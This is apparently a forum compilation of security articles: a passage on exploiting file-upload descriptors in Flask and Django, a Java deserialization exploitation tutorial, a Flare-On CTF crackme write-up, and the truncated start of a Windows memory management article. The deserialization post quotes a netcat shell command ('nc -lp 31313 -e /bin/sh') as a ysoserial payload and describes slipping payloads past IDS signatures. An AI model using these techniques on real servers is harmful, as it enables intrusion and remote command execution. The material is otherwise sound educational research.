alongside the JAR we wanted to execute. Note that if the file you’re uploading is small, it may just be read into memory and no file descriptor will be opened. When testing against Flask, we found that files under 1MB were loaded straight into memory whereas files over 1MB were placed on disk and <fdopen>’ed. As such you may need to pad out any exploit payloads accordingly. And that’s all for now. We’ve got a lot more digging to do with this issue and have had a lot of fun assessing the software where we discovered it on, so stay tuned for more shenanigans. **UPDATE** After mulling it over some more, I was wondering why the frameworks we looked at were lazily loading the file descriptors. Surely it wouldn’t make sense to parse the whole contents of an HTTP request body once to get the POST parameters and a second time to get the contents of uploaded files, right?? Sure enough, for both Flask and Django it’s not that the FILES are lazily loaded – it’s that the contents of the request body aren’t processed until accessed. As such, with this attack you can target any request handler that accesses data stored in the request body. As soon as the data contained within the body is accessed, the file descriptors will be populated. Accessing the contents of a request body in Django is shown below: Accessing request body in Django The file descriptor being populated through this access is shown below: File descriptor populated through accessing Django request body Accessing the contents of a request body in Flask is shown below: Accessing the contents of a request body in Flask The file descriptor being populated through this access is shown below: File descriptor populated through Flask body access Woot. Sursa: https://l.avala.mp/?p=241

Friday the 13 JSON Attacks Alvaro Muñoz & Oleksandr Mirosh HPE Software Security Research Introduction Security issues with deserialization of untrusted data in several programming languages have been known for many years. However, it got major attention on 2016 which will be remembered as the year of Java Deserialization apocalypse. Despite being a known attack vector since 2011, the lack of know n classes leading to arbitrary code execution in popular libraries or even the Java Runtime allowed Java Deserialization vulnerabilities fly under the radar for a long time. These classes could be used to execute arbitrary code or run arbitrary processes (remote code execution or RCE gadgets). In 2015 Frohoff and Lawrence published an RCE gadget in the Apache Commons - Collections library which was used by many applications and therefore caught many applications deserializing untrusted data off - guard. The publication of the Apache Commons - Collections gadget was followed by an explosion of new research on gadgets, defense and bypass techniques and by the hunting of vulnerable products/endpoints. Download: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

Attacking Java Deserialization Deserialization vulnerabilities are far from new, but exploiting them is more involved than other common vulnerability classes. During a recent client engagement I was able to take advantage of Java deserialization to gain a foothold on a server from where I was able to obtain root access to tens of servers spanning pre-production and production environments across multiple data centres. The vulnerability I discovered had previously survived multiple pentests and I would have missed it too if I hadn’t had prior exposure to Java (de)serialization. In this blog post I’ll attempt to clear up some confusion around deserialization vulnerabilities and hopefully lower the bar to entry in exploiting them using readily available tools. I’ll be focusing on Java, however the same concepts apply to other languages. I’ll also be focusing on command execution exploits in order to keep things simple. I spoke about this topic at SteelCon this year and will also be speaking on the topic at BSides Manchester and BSides Belfast (on that note, I’m also speaking about poking one of Java’s back doors at 44con this year)! (De)serialization Briefly, serialization is the process of converting runtime variables and program objects into a form that can be stored or transmitted. Deserialization is the reverse process that converts the serialized form back into in-memory variables and program objects. The serialized form could be a text-based format such as JSON or XML, or a binary format. Many higher level languages such as C#, Java, and PHP have built-in support for data serialization which is trivial to use and saves the developer from having to implement these routines themselves. In this blog post I’ll be focusing on Java’s built-in serialization format but other formats can come with similar risks (check out Alvaro Muñoz and Oleksandr Mirosh’s Black Hat USA 2017 and Def Con 25 talk Friday the 13th: JSON Attacks for more on this). What’s the Problem? The use of (de)serialization isn’t a problem itself. Problems arise when a user (attacker) can control the data being deserialized, for example if data can be delivered to the deserialization routine over a network connection. If an attacker has control of data being deserialized, then they have some influence over in-memory variables and program objects. Subsequently, if an attacker can influence in-memory variables and program objects, then they can influence the flow of code that uses those variables and objects. Let’s look at an example of Java deserialization: public class Session { public String username; public boolean loggedIn; public void loadSession(byte[] sessionData) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData)); this.username = ois.readUTF(); this.loggedIn = ois.readBoolean(); } } 1 2 3 4 5 6 7 8 9 10 public class Session { public String username; public boolean loggedIn; public void loadSession(byte[] sessionData) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData)); this.username = ois.readUTF(); this.loggedIn = ois.readBoolean(); } } The ‘loadSession’ method accepts an array of bytes as a parameter and deserializes a string and a boolean from that byte array into the ‘username’ and ‘loggedIn’ properties of the object. If an attacker can control the contents of the ‘sessionData’ byte array passed to this method then they can control these object properties. The following is an example of how this Session object might be used: public class UserSettingsController { public void updatePassword(Session session, String newPassword) throws Exception { if(session.loggedIn) { UserModel.updatePassword(session.username, newPassword); } else { throw new Exception("Error: User not logged in."); } } } 1 2 3 4 5 6 7 8 9 public class UserSettingsController { public void updatePassword(Session session, String newPassword) throws Exception { if(session.loggedIn) { UserModel.updatePassword(session.username, newPassword); } else { throw new Exception("Error: User not logged in."); } } } If the session is logged in then the password for the user whose username is stored in the session is updated to the given value. This is a simple example of a ‘POP Gadget’, a snippet of code that we have some control over via the properties of an object. Property-Oriented Programming When we control object properties and use them to influence the flow of code execution in this way we are doing what’s known as ‘property-oriented programming’. A POP gadget is a code snippet that we can influence to our advantage by manipulating the properties of some object. Often multiple gadgets will need chaining in order to create a complete exploit. We can think of this as high-level ROP (return-oriented programming – a technique used in memory corruption exploits) except that instead of a ROP gadget pushing a value onto the stack, a POP gadget might allow us to write some data to a file. An important point here is that a deserialization exploit does not involve sending classes or code to the server to execute. We’re simply sending the properties of classes that the server is already aware of in order to manipulate existing code that deals with those properties. A successful exploit hence relies on knowledge of the code that can be manipulated through deserialization. This is where a lot of the difficulty in exploiting deserialization vulnerabilities stems from. Interesting Gadgets POP gadgets can exist anywhere in a program, the only requirements are that the code can be manipulated using the properties of deserialized objects, and that an attacker can control the data being deserialized. Some gadgets are of greater interest, however, because their execution is more predictable. In Java, a serializable class can define a method named ‘readObject‘ which can be used to perform special handling during deserialization (for example supporting backwards compatibility). This method can also be used to respond to the event of an object of that class being deserialized. An example use of this method might be for a database manager object to automatically establish a connection to the database when it is deserialized into memory. Most Java serialization exploits take advantage of the code within these readObject methods because the code is guaranteed to be executed during deserialization. Exploiting Deserialization To exploit a deserialization vulnerability we need two key things: An entry point that allows us to send our own serialized objects to the target for deserialization. One or more code snippets that we can manipulate through deserialization. Entry Points We can identify entry points for deserialization vulnerabilities by reviewing application source code for the use of the class ‘java.io.ObjectInputStream’ (and specifically the ‘readObject’ method), or for serializable classes that implement the ‘readObject’ method. If an attacker can manipulate the data that is provided to the ObjectInputStream then that data presents an entry point for deserialization attacks. Alternatively, or if the Java source code is unavailable, we can look for serialized data being stored on disk or transmitted over the network, provided we know what to look for! The Java serialization format begins with a two-byte magic number which is always hex 0xAC ED. This is followed by a two-byte version number. I’ve only ever seen version 5 (0x00 05) but earlier versions may exist and in future later versions may also exist. Following the four-byte header are one or more content elements, the first byte of each should be in the range 0x70 to 0x7E and describes the type of the content element which is used to infer the structure of the following data in the stream. For more details see Oracle’s documentation on the Object Serialization Stream Protocol. People often say to look for the four-byte sequence 0xAC ED 00 05 in order to identify Java serialization, and in fact some IDS signatures look for this sequence to detect attacks. During my recent client engagement I didn’t immediately see those four bytes because the target client application kept a network connection to the server open the entire time it was running and the four-byte header only exists once at the very beginning of a serialization stream. The client’s IDS missed my attacks for this reason – my payloads were sent later in the stream and separately from the serialization header. We can use an ASCII dump to help identify Java serialization data without relying on the four-byte 0xAC ED 00 05 header. The most obvious indicator of Java serialization data is the presence of Java class names in the dump, such as ‘java.rmi.dgc.Lease’. In some cases Java class names might appear in an alternative format that begins with an ‘L’, ends with a ‘;’, and uses forward slashes to separate namespace parts and the class name (e.g. ‘Ljava/rmi/dgc/VMID;’). Along with Java class names, there are some other common strings that appear due to the serialization format specification, such as ‘sr’ which may represent an object (TC_OBJECT) followed by its class description (TC_CLASSDESC), or ‘xp’ which may indicate the end of the class annotations (TC_ENDBLOCKDATA) for a class which has no super class (TC_NULL). Having identified the use of serialized data, we need to identify the offset into that data where we can actually inject a payload. The target needs to call ‘ObjectInputStream.readObject’ in order to deserialize and instantiate an object (payload) and support property-oriented programming, however it could call other ObjectInputStream methods first, such as ‘readInt’ which will simply read a 4-byte integer from the stream. The readObject method will read the following content types from a serialization stream: 0x70 – TC_NULL 0x71 – TC_REFERENCE 0x72 – TC_CLASSDESC 0x73 – TC_OBJECT 0x74 – TC_STRING 0x75 – TC_ARRAY 0x76 – TC_CLASS 0x7B – TC_EXCEPTION 0x7C – TC_LONGSTRING 0x7D – TC_PROXYCLASSDESC 0x7E – TC_ENUM In the simplest cases an object will be the first thing read from the serialization stream and we can insert our payload directly after the 4-byte serialization header. We can identify those cases by looking at the first five bytes of the serialization stream. If those five bytes are a four-byte serialization header (0xAC ED 00 05) followed by one of the values listed above then we can attack the target by sending our own four-byte serialization header followed by a payload object. In other cases, the four-byte serialization header will most likely be followed by a TC_BLOCKDATA element (0x77) or a TC_BLOCKDATALONG element (0x7A). The former consists of a single byte length field followed by that many bytes making up the actual block data and the latter consists of a four-byte length field followed by that many bytes making up the block of data. If the block data is followed by one of the element types supported by readObject then we can inject a payload after the block data. I wrote a tool to support some of my research in this area, SerializationDumper, which we can use to identify entry points for deserialization exploits. The tool parses Java serialization streams and dumps them out in a human-readable form. If the stream contains one of the element types supported by readObject then we can replace that element with a payload object. Below is an example of its use: $ java -jar SerializationDumper-v1.0.jar ACED00057708af743f8c1d120cb974000441424344 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 8 - 0x08 Contents - 0xaf743f8c1d120cb9 TC_STRING - 0x74 newHandle 0x00 7e 00 00 Length - 4 - 0x00 04 Value - ABCD - 0x41424344 1 2 3 4 5 6 7 8 9 10 11 $ java -jar SerializationDumper-v1.0.jar ACED00057708af743f8c1d120cb974000441424344 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 8 - 0x08 Contents - 0xaf743f8c1d120cb9 TC_STRING - 0x74 newHandle 0x00 7e 00 00 Length - 4 - 0x00 04 Value - ABCD - 0x41424344 In this example the stream contains a TC_BLOCKDATA followed by a TC_STRING which can be replaced with a payload. Objects in a serialization stream are instantiated as they are loaded, rather than after the entire stream has been parsed. This fact allows us to inject payloads into a serialization stream without worrying about correcting the remainder of the stream. The payload will be deserialized and executed before any kind of validation happens and before the application attempts to read further data from the serialization stream. POP Gadgets Having identified an entry point that allows us to provide our own serialized objects for the target to deserialize, the next thing we need are POP gadgets. If we have access to the source code then we can look for ‘readObject’ methods and code following calls to ‘ObjectInputStream.readObject’ in order to work out what potential gadgets exist. Often we don’t have access to application source code but this doesn’t prevent us from exploiting deserialization vulnerabilities because there are lots of commonly used third-party libraries that can be targeted. Researchers including Chris Frohoff and Gabriel Lawrence have already found POP gadget chains in various libraries and released a tool called ‘ysoserial‘ that can generate payload objects. This tool greatly simplifies the process of attacking Java deserialization vulnerabilities! There are a lot of gadget chains included in ysoserial so the next step is to work out which, if any, can be used against the target. Background knowledge about the third-party libraries used by the application, or an information disclosure issue, should be the first port of call. If we know which third-party libraries are used by the target then we can select the appropriate ysoserial payload(s) to try. Unfortunately this information might not be readily available in which case we can, with caution, cycle through the various ysoserial gadget chains until we find one we can use. Care should be taken with this approach as there is always a risk of triggering an unhandled exception and crashing the target application. The target would have to be particularly unstable for this to happen, however, as even an nmap version scan would likely cause the target to crash if it couldn’t handle unexpected/malformed data. If the target application responds to a ysoserial payload with a ‘ClassNotFoundException’ then chances are that the library targeted by the chosen gadget chain is not available to the target application. A ‘java.io.IOException’ with the message ‘Cannot run program’ likely means that the gadget chain worked, however the operating system command that the gadget chain attempted to execute was not available on the server. The ysoserial command execution payloads are blind payloads and the command output is not returned. There are also a couple of limitations due to the use of ‘java.lang.Runtime.exec(String)’. The first is that shell operators such as output redirection and piping are not supported. The second is that parameters to the payload command cannot contain spaces (e.g. we can use “nc -lp 31313 -e /bin/sh” but we can’t use “perl -e ‘use Socket;…'” because the parameter to perl contains a space). Fortunately there’s a nice payload encoder/generator available online which can get around these limitations here: http://jackson.thuraisamy.me/runtime-exec-payloads.html. Try it Yourself – DeserLab and SerialBrute It’s important to understand serialization and how deserialization exploits work (e.g. property-oriented programming) in order to effectively exploit deserialization vulnerabilities. Doing so is still more involved than other common vulnerability classes so it’s helpful to have a target to practice on. Along with this blog post, I’ve created and released a demo application called ‘DeserLab‘ that implements a custom network protocol on top of the Java serialization format. The application is vulnerable to deserialization attacks and should be exploitable using the information provided in this blog post. ‘SerialBrute‘ is a pair of Python scripts that I wrote and use to automate testing of ysoserial payloads against arbitrary targets. The first, SerialBrute.py’, can replay a TCP conversation or HTTP request and inject a payload at a given point while the second, ‘SrlBrt.py’ is a skeleton script that can be altered to deliver payloads where special processing is needed. Both attempt to detect valid and invalid payloads by looking at returned exceptions. These scripts are not intended to be full blown or polished attack tools and should be used with caution due to the risk of knocking an application over but I’ve personally had great success replaying TCP conversations and injecting ysoserial gadget chains. Thanks for reading! Have a go at DeserLab if this is something you’re interested in and if there’s anything I’ve missed, anything that could do with further explanation, or you have any questions or feedback please leave a comment or get in touch on Twitter (@NickstaDB)! Sursa: https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/

Flare-on 2015 - Level 2: very_success.exe This post is mostly a showcase of possible approaches and excellent, free tools that you can use to reverse some binaries. To that end, we’ll leave the IDA alone, and learn a few new things. Our target is the second challenge of Flare-On 2015. It is actually quite an interesting little target. Let’s get right into it. We’re going to grab a copy of radare2 for windows (pre-built for minimum hassle), and ConEmu to make our cmd prompt experience a little nicer. After adding the folder containing radare to our path: $ set PATH=%PATH%;C:\tools\r2 …we load the binary using the -A flag which performs an analysis of flags and symbols and renames things. We also use the -w flag to open the file in write mode in case we want to edit/patch something. $ radare2 -A -w very_success.exe Step 1: Initial triage and recon We can perform our initial triage inside of r2: What is this file? Ok, let’s see the entry points, imports, resources, sections, and exports: It’s looking like a small, simple thing so far…what kind of interesting strings are there? and because we’ve already run some analysis (-A), we can examine xrefs to the clearly interesting string of “You are success” and “Enter the password>” XREF to Enter the password We might want to set a flag, or alias to the address of interest (the address where the Enter the password string is), but we don’t have to in this case because r2 has already done that for us. We examine the flag spaces, select the strings flag space, and see what’s in there (redundant here, but good to be aware of) tab-completing our way to victory: Let’s investigate the function that is using this string to learn a little more about this binary. We seek to the function of interest, and enter visual mode: [0x004010df]> s sub.kernel32.dll_GetStdHandle_0 [0x00401000]> VV We press p or P to cycle through the different display modes (pretty much everywhere in r2 you can press ? to see what commands are available, and commands that have subcommands/modes also accept a ?) It seems fairly clear…whatever we input will be validated inside of fcn.00401084, and the return value will determine whether we get the nice message or the bad one. (It might be worth your while to tab/TAB around, zoom (+, -), check out the other graph views p/P, the pseudo-assembly ($), and just practice moving around hjkl (left, down, up, right) to make your r2 experience a little more comfortable.) Before we dig into the flag validation routine, we take note of the arguments to the imported ReadFile call: BOOL WINAPI ReadFile( _In_ HANDLE hFile, _Out_ LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToRead, _Out_opt_ LPDWORD lpNumberOfBytesRead, _Inout_opt_ LPOVERLAPPED lpOverlapped ); I like to imagine all the pushed args as a tower sitting above the function call. Then I knock that tower over and the arguments fall into their respective places. The following illustration should make this clear: push arg3 push arg2 push arg1 call a push arg3 push arg2 push arg1 call a(arg1, arg2, arg3) you’re welcome! So, we’ll be reading from stdin, into 0x402159, a maximum of 0x32 bytes With that in mind, we rename some variables, and create a flag at the buffer location of our input. Press : to access the command line > afvn local_ch hStdIn > f theGuess 0x32 @0x402159 and press enter or ctrl+c to quit the command prompt one mystery remains…the local_10h being passed into the flag validation routine…what is it? We access the command line again : and look at where the variables are being written: :> afvW local_10h 0x401007 hStdIn 0x401012 local_8h 0x40101d inputLen we scroll up a bit to that location (k), and we see the following disassembly: 0x00401000 58 pop eax 0x00401001 55 push ebp 0x00401002 89e5 mov ebp, esp 0x00401004 83ec10 sub esp, 0x10 0x00401007 8945f0 mov dword [local_10h], eax 0x0040100a 6af6 push 0xfffffffffffffff6 that’s an interesting function prologue…it starts with a pop eax. Whatever was at the top of the stack when we entered this function is what will be placed into eax, and shortly thereafter…local_10h. We’d usually expect a return address at the top of the stack. When the previous function called this one, the call instruction sets EIP to the beginning of this function and pushes the address of whatever was after the call instruction onto the stack. We press x to see where this function…wait, let’s rename it first, press d and let’s call it main. Now we can press x, or seek using the command prompt and s <address listed at the CALL XREF at the top of this function> I choose x: The instructions don’t really make a whole lot of sense following the call, so let’s examine a hexdump and see if there’s anything recognizable: Press <enter> to return to Visual mode. :> px 20 @0x4010e4 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x004010e4 afaa adeb aeaa eca4 baaf aeaa 8ac0 a7b0 ................ 0x004010f4 bc9a baa5 .... :> hmm…well, bytes are bytes. We rename local_10h to someBytes. With things renamed, and knowing what’s going into the flag validation routine, and what we want to return with (a non-zero eax), we step inside the flag validation routine using the [gd] shortcut that radare has provided. We literally just type gd. We rename this function to flagValidator. It seems that this function only takes 3 args. So we rename them according to what we knew was pushed onto the stack before this call. It looks like our input length should be at least 0x25 characters. Otherwise, we end up at (press t to follow the true branch) the basic block which xor eax, eax before moving to the block that returns to main. Press u to return to the basic block we were just at. If we pass the length check, we follow the false branch. The [gc] block will initialize the loop: esi receives our input guess edi receives the mystery bytes and ecx currently still holds the length of our input, which is now used to index into the mystery bytes…. mysteryBytes[inputLen - 1]. Essentially, edi points to the last byte of the mysteryBytes …then a bunch of ugly stuff happens inside of the next block, [gd]. If the condition at the end…jecxz, is true then we go to the fail block [ga] which will zero out eax and return. This instruction is exactly what it sounds like, jump if ecx is zero. Okay, maybe it didn’t sound like anything, but it makes sense after the fact, right? So…there’s only one good way out of this function and that’s through the loop instruction at 0x4010d3. So we will have to survive each iteration of the loop without ecx ever being zero. This depends on the sneaky scasb. 0x004010bc 86ca xchg dl, cl 0x004010be 31d2 xor edx, edx 0x004010c0 25ff000000 and eax, 0xff 0x004010c5 6601c3 add bx, ax 0x004010c8 ae scasb al, byte es:[edi] 0x004010c9 660f45ca cmovne cx, dx 0x004010cd 58 pop eax 0x004010ce e307 jecxz 0x4010d7;[ga] if the scan string comparison ever fails between al and edi, then the conditional move if not equal (cmovne) will make sure that freshly xor’d edx will put a zero in cx and we will fail. Ok…here is the interesting part, and what you all came to see. How do we solve this problem. I will present four…count ‘em 4 gorgeous methods (sort of): Symbolic execution + SMT solver (angr w/z3) Emulation bruteforce (Unicorn) Side-channel attack (Pintool wintool) Reverse the algorithm (brain + python) Method 1: Symbolic execution + SMT solver (angr w/z3) Some background reading and a de-scarying of symbolic execution, if you so desire: doar-e Quick introduction into SAT/SMT solvers and symbolic execution lots of great stuff on both of those sites, be sure to explore some rabbit holes and follow along with your hands on some python+binaries. We have just about everything we need to start writing our angr script. Let’s review: The function of interest takes three arguments: the mystery bytes that live at the address popped into eax at the start of main our input guess the length of our input guess We know the values for 2 of those things. Grab the mystery bytes: :> s 0x4010e4 :> wt? |Usage: wt[a] file [size] Write 'size' bytes in current blok to 'file' | wta [filename] append to 'filename' | wtf [filename] [size] write to file (see also 'wxf' and 'wf?') | wtf! [filename] write to file from current address to eof :> wtf magicBytes 0x25 dumped 0x25 bytes Dumped 37 bytes from 0x004010e4 into magicBytes (Note: Since this buffer is of a manageable size, we could have printed the bytes as an escaped hex string…or various other formats. See the print p command for more options. We’ll explore this in Method #2.) Let’s win: #!/usr/bin/env python import angr # load the binary b = angr.Project("very_success.exe", load_options={"auto_load_libs":False}) # create a blank_state (https://github.com/angr/angr-doc/blob/master/docs/toplevel.md#the-factory) at the top of the flag checking function s = b.factory.blank_state(addr=0x401084) # Since we started inside this function, we have to set up the args that were pushed on to the stack from the previous function # ...0 sounds like a good place to store memory, why not? So esp+4 (arg0) shall point to the address 0 s.mem[s.regs.esp+4:].dword = 0 # and why not...next arg was at 100 s.mem[s.regs.esp+8:].dword = 100 # next arg at 200? ok! s.mem[s.regs.esp+0xC:].dword = 200 # we know the length of the winning input magicLen = 0x25 # and we know what the magicBytes are magicBytes = open('magicBytes', 'rb').read() # let's load them into memory at address 0 as bit vector values s.memory.store(0, s.se.BVV(magicBytes)) # we'll load the second arg into memory at 100 # using a symbolic BitVector (https://github.com/angr/angr-doc/blob/master/docs/claripy.md#claripy-asts) s.memory.store(100, s.se.BVS("guess", magicLen*8)) # and we can store our magicLen using 32 bits at 200 s.memory.store(200, s.se.BVV(magicLen, 32)) # instantiate a path_group (https://github.com/angr/angr-doc/blob/master/docs/pathgroups.md) pg = b.factory.path_group(s) # ask them to explore until they find the winning basic block, and avoid the xor eax, eax block pg.explore(find=0x4010d5, avoid=0x4010d7) # for those paths which have found a way to the desired address...let's examine their state for found in pg.found: # specifically, let's see what string is in memory at 100 for successful paths print found.state.se.any_str(found.state.memory.load(100, 0x25)).strip('\0') and then: # ./very_angr.py WARNING | 2017-08-10 00:04:30,040 | cle.pe | The PE module is not well-supported. Good luck! a_Little_b1t_harder_plez@flare-on.com Knowing the flag format, (printable ascii, ending in @flare-on.com), we could have added some contraints to speed things up. See angr-doc for some examples. Method 2: Emulation bruteforce (Unicorn) This probably isn’t the most elegant approach, but it’s nice to have at least an introduction to another powerful tool. First, we need the bytes of the code we want to emulate. We seek to the flagValidator function and ask r2 for some information about this function…namely, we want to know the size: :> s flagValidator :> s 0x401084 :> afi ~size size: 91 ok, let’s grab those bytes then. Instead of a file, let’s just grab the string: :> pcs 91 "\x55\x89\xe5\x83\xec\x00\x57\x56\x31\xdb\xb9\x25\x00\x00\x00\x39\x4d\x10\x7c\x3f\x8b\x75\x0c\x8b\x7d\x08\x8d\x7c\x0f\xff\x66\x89\xda\x66\x83\xe2\x03\x66\xb8\xc7\x01\x50\x9e\xac\x9c\x32\x44\x24\x04\x86\xca\xd2\xc4\x9d\x10\xe0\x86\xca\x31\xd2\x25\xff\x00\x00\x00\x66\x01\xc3\xae\x66\x0f\x45\xca\x58\xe3\x07\x83\xef\x02\xe2\xcd\xeb\x02\x31\xc0\x5e\x5f\x89\xec\x5d\xc3" looks pretty good…starts with the prologue, ends with a c3 (ret). Since this is a little more convenient than the magicBytes file, let’s grab the magicBytes as a string as well: :> s 0x4010e4 :> pcs 0x25 "\xaf\xaa\xad\xeb\xae\xaa\xec\xa4\xba\xaf\xae\xaa\x8a\xc0\xa7\xb0\xbc\x9a\xba\xa5\xa5\xba\xaf\xb8\x9d\xb8\xf9\xae\x9d\xab\xb4\xbc\xb6\xb3\x90\x9a\xa8" We’re ready to start our script: #!/usr/bin/env python # lots of good help from these awesome scripts/examples/blogs #https://github.com/unicorn-engine/unicorn/blob/master/bindings/python/sample_x86.py#L24 #https://r3v3rs3r.wordpress.com/2015/12/12/unicorn-vs-malware/ #https://github.com/karttoon/shellbug #https://github.com/unicorn-engine/unicorn/issues/451 from unicorn import * from unicorn.x86_const import * # taking a lazy approach to automation and wrapping the entire thing in a loop rightChars = 0 # dummy string to guess with guessString = list("!" * 0x25) # and setting our win state foundIt = False while not foundIt: for c in xrange(0x20, 0x7F): guessString[rightChars] = chr(c) # creating a custom hook for every instruction that executes # a brutish approach, but it'll work def hook_code(uc, address, size, user_data): global rightChars global foundIt # if we have already executed the cmovne cx, dx, and cx is zero... # then this input is bad and we need to try a different one # :> ? 0x4010cd - 0x401084 # 73 0x49 0111 73 0000:0049 73 "I" 01001001 73.0 73.000000f 73.000000 if address == 0x49: ecx = uc.reg_read(UC_X86_REG_ECX) # we got hit with the cmovne, it was a bad guess if ecx == 0: mu.emu_stop() # we managed to loop all the way to the last character...we won elif ecx == 1: foundIt = True mu.emu_stop() # if loop count and number of characters we already found match, we move on elif ecx == 0x25 - rightChars: #print ("Found One!") #print (uc.mem_read(guessAddress+rightChars, 1)) rightChars += 1 # spawn a unicorn thing mu = Uc(UC_ARCH_X86, UC_MODE_32) # some generic addresses for our emulation baseAddress = 0 STACK_ADDRESS = 0xffff000 STACK_SIZE = 0x1000 # function code functionCode = "\x55\x89\xe5\x83\xec\x00\x57\x56\x31\xdb\xb9\x25\x00\x00\x00\x39\x4d\x10\x7c\x3f\x8b\x75\x0c\x8b\x7d\x08\x8d\x7c\x0f\xff\x66\x89\xda\x66\x83\xe2\x03\x66\xb8\xc7\x01\x50\x9e\xac\x9c\x32\x44\x24\x04\x86\xca\xd2\xc4\x9d\x10\xe0\x86\xca\x31\xd2\x25\xff\x00\x00\x00\x66\x01\xc3\xae\x66\x0f\x45\xca\x58\xe3\x07\x83\xef\x02\xe2\xcd\xeb\x02\x31\xc0\x5e\x5f\x89\xec\x5d\xc3" magicBytes = "\xaf\xaa\xad\xeb\xae\xaa\xec\xa4\xba\xaf\xae\xaa\x8a\xc0\xa7\xb0\xbc\x9a\xba\xa5\xa5\xba\xaf\xb8\x9d\xb8\xf9\xae\x9d\xab\xb4\xbc\xb6\xb3\x90\x9a\xa8" # map 0x1000 bytes at baseAddress mu.mem_map(baseAddress, 0x1000) mu.mem_map(STACK_ADDRESS, STACK_SIZE) # set our ESP with some room for the previous args to this function mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + STACK_SIZE - 0x10) # address where we want to write the magicBytes magicBytesAddress = 0x200 # write them mu.mem_write(magicBytesAddress, magicBytes) # address where we want to write our input buffer guessAddress = 0x300 # write it mu.mem_write(guessAddress, ''.join(guessString)) # address where we want to write the magicLen (input length value we discovered) magicLenAddress = 0x400 # its value magicLen = 0x25 # write it mu.mem_write(magicLenAddress, str(magicLen)) # "push" our args onto the stack (the addresses of our buffers of interest) mu.mem_write(STACK_ADDRESS+STACK_SIZE-0xc, "\x00\x02\x00\x00") mu.mem_write(STACK_ADDRESS+STACK_SIZE-8, "\x00\x03\x00\x00") mu.mem_write(STACK_ADDRESS+STACK_SIZE-4, "\x00\x04\x00\x00") # write the function code at the base address mu.mem_write(baseAddress, functionCode) # hook every instruction, because it'll work mu.hook_add(UC_HOOK_CODE, hook_code) # start the brute try: mu.emu_start(baseAddress, baseAddress + len(functionCode)) if foundIt: print ''.join(guessString) break except UcError as e: print "Error: %s" % e and then: # ./very_emulated.py a_Little_b1t_harder_plez@flare-on.com Method 3: Timing attack (Pintool wintool) This one is very easy to write about because someone has already done the work. What is Pin? How can I win? How can I win on windows? That last script is just some mangling I did to aldeid’s pintool to make it happy with python and windows cmd prompt. C:\pin>python c:/tools/pintool2-win.py -l 37 -c 6 -a 32 -s ! c:/working-dir/very_success.exe !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 5!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 6!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 7!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 22 instructions a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 22 instructions a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions ... ... a_Little_b1t_harder_plez@flare-on.col = 20280 difference 0 instructions a_Little_b1t_harder_plez@flare-on.com = 20283 difference 3 instructions a_Little_b1t_harder_plez@flare-on.com = 20283 difference 3 instructions Password: a_Little_b1t_harder_plez@flare-on.com For all characters except the last, you can clearly see the extra loop in the 22 instruction difference. I have no idea how the last character gets a 3 instruction difference. Method 4: Reverse the algorithm (brain + python) I also get this one for free because you can easily find plenty of this kind of writeup with a google query for “very_success.exe” For example…see this excellent, detailed explanation References: radare2 ConEmu ReadFile Function prologue x86 jecxz x86 loop x86 scasb doar-e Quick introduction into SAT/SMT solvers and symbolic execution angr-doc Unicorn x86 example Unicorn vs Malware Shellbug - Shellcode debugger Unicorn Issue Pin Pintool2 Pintool2 - windows-friendl..ier very_success write-up theJunkyard Sursa: https://fevral.github.io/2017/08/13/flareon2015-2.html

Exploring Windows virtual memory management August 13, 2017 In a previous post, we discussed the IA-32e 64-bit paging structures, and how they can be used to turn virtual addresses into physical addresses. They're a simple but elegant way to manage virtual address mappings as well as page permissions with varying granularity of page sizes. All of which is provided by the architecture. But as one might expect, once you add an operating system like Windows into the mix, things get a little more interesting. The problem of per-process memory In Windows, a process is nothing more than a simple container of threads and metadata that represents a user-mode application. It has its own memory so that it can manage the different pieces of data and code that make the process do something useful. Let's consider, then, two processes that both try to read and write from the memory located at the virtual address 0x00000000`11223344. Based on what we know about paging, we expect that the virtual address is going to end up translating into the same physical address (let's say 0x00000001`ff003344 as an example) in both processes. There is, after all, only one CR3 register per processor, and the hardware dictates that the paging structure root is located in that register. Figure 1: If the two process' virtual addresses would translate to the same physical address, then we expect that they would both see the same memory, right? Of course, in reality we know that it can't work that way. If we use one process to write to a virtual memory address, and then use another process to read from that address, we 